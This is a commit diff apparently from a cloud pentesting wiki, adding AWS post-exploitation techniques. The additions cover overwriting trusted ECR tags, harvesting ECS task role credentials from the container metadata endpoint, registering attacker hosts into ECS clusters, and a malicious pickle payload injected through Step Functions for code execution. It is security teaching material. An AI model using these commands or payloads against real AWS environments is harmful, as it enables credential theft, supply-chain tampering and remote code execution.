Skip to content

Commit fd262d7

Browse files
committed
f
1 parent 0c44512 commit fd262d7

File tree

5 files changed

+197
-3
lines changed
  • src/pentesting-cloud/aws-security

5 files changed

+197
-3
lines changed

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md

Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,68 @@ After downloading the images you should **check them for sensitive info**:
5555
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
5656
{{#endref}}
5757

58+
### Overwrite a Trusted Tag via `ecr:PutImage` (Tag Hijacking / Supply Chain)
59+
60+
If consumers deploy by tag (for example `stable`, `prod`, `latest`) and tags are mutable, `ecr:PutImage` can be used to **repoint a trusted tag** to attacker-controlled content by uploading an image manifest under that tag.
61+
62+
One common approach is to copy the manifest of an existing attacker-controlled tag (or digest) and overwrite the trusted tag with it.
63+
64+
```bash
65+
REGION=us-east-1
66+
REPO="<repo_name>"
67+
SRC_TAG="backdoor" # attacker-controlled tag already present in the repository
68+
DST_TAG="stable" # trusted tag used by downstream systems
69+
70+
# 1) Fetch the manifest behind the attacker tag
71+
MANIFEST="$(aws ecr batch-get-image \
72+
--region "$REGION" \
73+
--repository-name "$REPO" \
74+
--image-ids imageTag="$SRC_TAG" \
75+
--query 'images[0].imageManifest' \
76+
--output text)"
77+
78+
# 2) Overwrite the trusted tag with that manifest
79+
aws ecr put-image \
80+
--region "$REGION" \
81+
--repository-name "$REPO" \
82+
--image-tag "$DST_TAG" \
83+
--image-manifest "$MANIFEST"
84+
85+
# 3) Verify both tags now point to the same digest
86+
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$DST_TAG" --query 'imageDetails[0].imageDigest' --output text
87+
aws ecr describe-images --region "$REGION" --repository-name "$REPO" --image-ids imageTag="$SRC_TAG" --query 'imageDetails[0].imageDigest' --output text
88+
```
89+
90+
**Impact**: any workload pulling `.../$REPO:$DST_TAG` will receive attacker-selected content without any change to IaC, Kubernetes manifests, or task definitions.
91+
92+
#### Downstream Consumer Example: Lambda Container Images Auto-Refreshing on Tag Updates
93+
94+
If a Lambda function is deployed as a **container image** (`PackageType=Image`) and uses an **ECR tag** (e.g., `:stable`, `:prod`) instead of a digest, overwriting that tag can turn supply-chain tampering into **code execution inside the Lambda execution role** once the function is refreshed.
95+
96+
How to enumerate this situation:
97+
98+
```bash
99+
REGION=us-east-1
100+
101+
# 1) Find image-based Lambda functions and their ImageUri
102+
aws lambda list-functions --region "$REGION" \
103+
--query "Functions[?PackageType=='Image'].[FunctionName]" --output text |
104+
tr '\t' '\n' | while read -r fn; do
105+
img="$(aws lambda get-function --region "$REGION" --function-name "$fn" --query 'Code.ImageUri' --output text 2>/dev/null || true)"
106+
[ -n "$img" ] && printf '%s\t%s\n' "$fn" "$img"
107+
done
108+
109+
# 2) Check whether a function references a mutable tag (contains ":<tag>")
110+
# Prefer digest pinning (contains "@sha256:") in well-hardened deployments.
111+
```
112+
113+
How refresh often happens:
114+
115+
- CI/CD or GitOps regularly calls `lambda:UpdateFunctionCode` (even with the same `ImageUri`) to force Lambda to resolve the tag again.
116+
- Event-driven automation listens for ECR image events (push/tag updates) and triggers a refresher Lambda/automation.
117+
118+
If you can overwrite the trusted tag and a refresh mechanism exists, the next invocation of the function will run attacker-controlled code, which can then read environment variables, access network resources, and call AWS APIs using the Lambda role (for example, `secretsmanager:GetSecretValue`).
119+
58120
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
59121

60122
An attacker with any of these permissions can **create or modify a lifecycle policy to delete all images in the repository** and then **delete the entire ECR repository**. This would result in the loss of all container images stored in the repository.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -56,10 +56,25 @@ aws ecs submit-container-state-change ...
5656
aws ecs submit-attachment-state-changes ...
5757
```
5858

59+
#### Join the Cluster With an Attacker Host (Register Container Instance)
60+
61+
Another variant (more direct than draining) is to **add capacity you control** into the cluster by registering an EC2 instance as a container instance (`ecs:RegisterContainerInstance`) and setting the required container instance attributes so placement constraints match. Once tasks land on your host, you can inspect/exec into containers and harvest `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` credentials.
62+
63+
See the ECS privesc page section on `ecs:RegisterContainerInstance` for the full workflow.
64+
5965
### Steal sensitive info from ECR containers
6066

6167
The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them).
6268

69+
### Steal Task Role Credentials via `ecs:ExecuteCommand`
70+
71+
If `ExecuteCommand` is enabled on a task, a principal with `ecs:ExecuteCommand` + `ecs:DescribeTasks` can open a shell inside the running container and then query the **task credentials endpoint** to harvest the **task role** credentials:
72+
73+
- From inside the container: `curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"`
74+
- Use the returned `AccessKeyId/SecretAccessKey/Token` to call AWS APIs as the task role
75+
76+
See the ECS privilege escalation page for enumeration and command examples.
77+
6378

6479

6580

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md

Lines changed: 48 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -73,6 +73,54 @@ aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
7373

7474
---
7575

76+
### `states:StartExecution` -> Input Injection Into Dangerous Sinks
77+
78+
`states:StartExecution` is a data-plane entrypoint. If a state machine forwards attacker-controlled input into a task that contains a dangerous sink (for example a Lambda that does `pickle.loads(base64.b64decode(payload_b64))`), you can sometimes turn **StartExecution** into **code execution** and **secret exfiltration** through the execution output, without any permission to update the state machine.
79+
80+
#### Discover the workflow and the invoked Lambda
81+
82+
If you have `states:List*` / `states:Describe*`, you can enumerate and read the state machine definition:
83+
84+
```bash
85+
REGION=us-east-1
86+
SM_ARN="<state_machine_arn>"
87+
88+
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
89+
```
90+
91+
If you also have `lambda:GetFunction`, you can download the Lambda code bundle to understand how input is processed (and confirm whether unsafe deserialization exists):
92+
93+
```bash
94+
LAMBDA_ARN="<lambda_arn_from_definition>"
95+
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
96+
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
97+
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
98+
ls -la /tmp/lambda_code
99+
```
100+
101+
#### Example: crafted pickle in execution input (Python)
102+
103+
If the Lambda unpickles attacker-controlled data, a malicious pickle can execute code during deserialization. Example payload that evaluates a Python expression in the Lambda runtime:
104+
105+
```bash
106+
PAYLOAD_B64="$(python3 - <<'PY'
107+
import base64, pickle
108+
109+
class P:
110+
def __reduce__(self):
111+
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
112+
return (eval, ("__import__('os').popen('id').read()",))
113+
114+
print(base64.b64encode(pickle.dumps(P())).decode())
115+
PY
116+
)"
117+
118+
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
119+
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
120+
```
121+
122+
**Impact**: Whatever permissions the task role has (Secrets Manager reads, S3 writes, KMS decrypt, etc.) can become reachable via crafted input, and the result may be returned in the Step Functions execution output.
123+
76124
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
77125

78126
An attacker who compromises a user or role with the following permissions:
@@ -202,4 +250,3 @@ The attacker can even more stealthy to update the state definition to something
202250

203251

204252

205-

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,16 @@ For more info on how to download images:
2020

2121
An attacker with the all those permissions **can login to ECR and upload images**. This can be useful to escalate privileges to other environments where those images are being used.
2222

23+
In addition, `ecr:PutImage` can be used to **overwrite an existing tag** (for example `stable` / `prod`) by uploading a different image manifest under that tag, effectively hijacking tag-based deployments.
24+
25+
This becomes especially impactful when downstream consumers deploy by tag and **auto-refresh** on tag changes, such as:
26+
27+
- **Lambda container image functions** (`PackageType=Image`) referencing `.../repo:stable`
28+
- ECS services / Kubernetes workloads pulling `repo:prod` (without digest pinning)
29+
- Any CI/CD that redeploys on ECR events
30+
31+
In those cases, a tag overwrite can lead to **remote code execution** in the consumer environment and privilege escalation to the IAM role used by that workload (for example, a Lambda execution role with `secretsmanager:GetSecretValue`).
32+
2333
To learn how to upload a new image/update one, check:
2434

2535
{{#ref}}

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md

Lines changed: 62 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -272,6 +272,24 @@ aws ecs execute-command --interactive \
272272
--task "$TASK_ARN"
273273
```
274274

275+
Once you have a shell inside the container, you can typically **extract the task role credentials** from the task credentials endpoint and reuse them outside the container:
276+
277+
```sh
278+
# Inside the container:
279+
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
280+
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
281+
282+
# If you want to use them locally, print shell exports:
283+
python3 - <<'PY'
284+
import json, os, urllib.request
285+
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
286+
d = json.load(urllib.request.urlopen(u, timeout=2))
287+
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
288+
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
289+
print("export AWS_SESSION_TOKEN=" + d["Token"])
290+
PY
291+
```
292+
275293
- If he has **`ecs:RunTask`**, run a task with `aws ecs run-task --enable-execute-command [...]`
276294
- If he has **`ecs:StartTask`**, run a task with `aws ecs start-task --enable-execute-command [...]`
277295
- If he has **`ecs:CreateService`**, create a service with `aws ecs create-service --enable-execute-command [...]`
@@ -299,9 +317,51 @@ Check in the **ec2 privesc page** how you can abuse these permissions to **prive
299317

300318
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
301319

302-
An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. This could allow the attacker to execute arbitrary code within the context of the ECS tasks.
320+
An attacker with these permissions can often **turn "cluster membership" into a security boundary bypass**:
321+
322+
- Register an **attacker-controlled EC2 instance** into a victim ECS cluster (becoming a container instance)
323+
- Set custom **container instance attributes** to satisfy **placement constraints**
324+
- Let ECS schedule tasks onto that host
325+
- Steal **task role credentials** (and any secrets/data inside the container) from the task running on your host
326+
327+
High-level workflow:
328+
329+
1) Obtain an EC2 instance identity document + signature from an EC2 instance you control in the target account (for example via SSM/SSH):
330+
331+
```bash
332+
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
333+
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
334+
```
335+
336+
2) Register it into the target cluster, optionally setting attributes to satisfy placement constraints:
337+
338+
```bash
339+
aws ecs register-container-instance \
340+
--cluster "$CLUSTER" \
341+
--instance-identity-document file://iidoc.json \
342+
--instance-identity-document-signature "$(cat iisig)" \
343+
--attributes name=labtarget,value=hijack
344+
```
345+
346+
3) Confirm it joined:
347+
348+
```bash
349+
aws ecs list-container-instances --cluster "$CLUSTER"
350+
```
351+
352+
4) Start a task / update a service so something schedules on the instance, then harvest task role creds from inside the task:
353+
354+
```bash
355+
# On the container host:
356+
docker ps
357+
docker exec -it <container-id> sh
358+
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
359+
```
360+
361+
Notes:
303362

304-
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
363+
- Registering a container instance using the instance identity document/signature implies you have access to an EC2 instance in the target account (or have compromised one). For cross-account "bring your own EC2", see the **ECS Anywhere** technique in this page.
364+
- Placement constraints commonly rely on container instance attributes. Enumerate them via `ecs:DescribeServices`, `ecs:DescribeTaskDefinition`, and `ecs:DescribeContainerInstances` to know which attributes you need to set.
305365

306366

307367
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`

0 commit comments

Comments
 (0)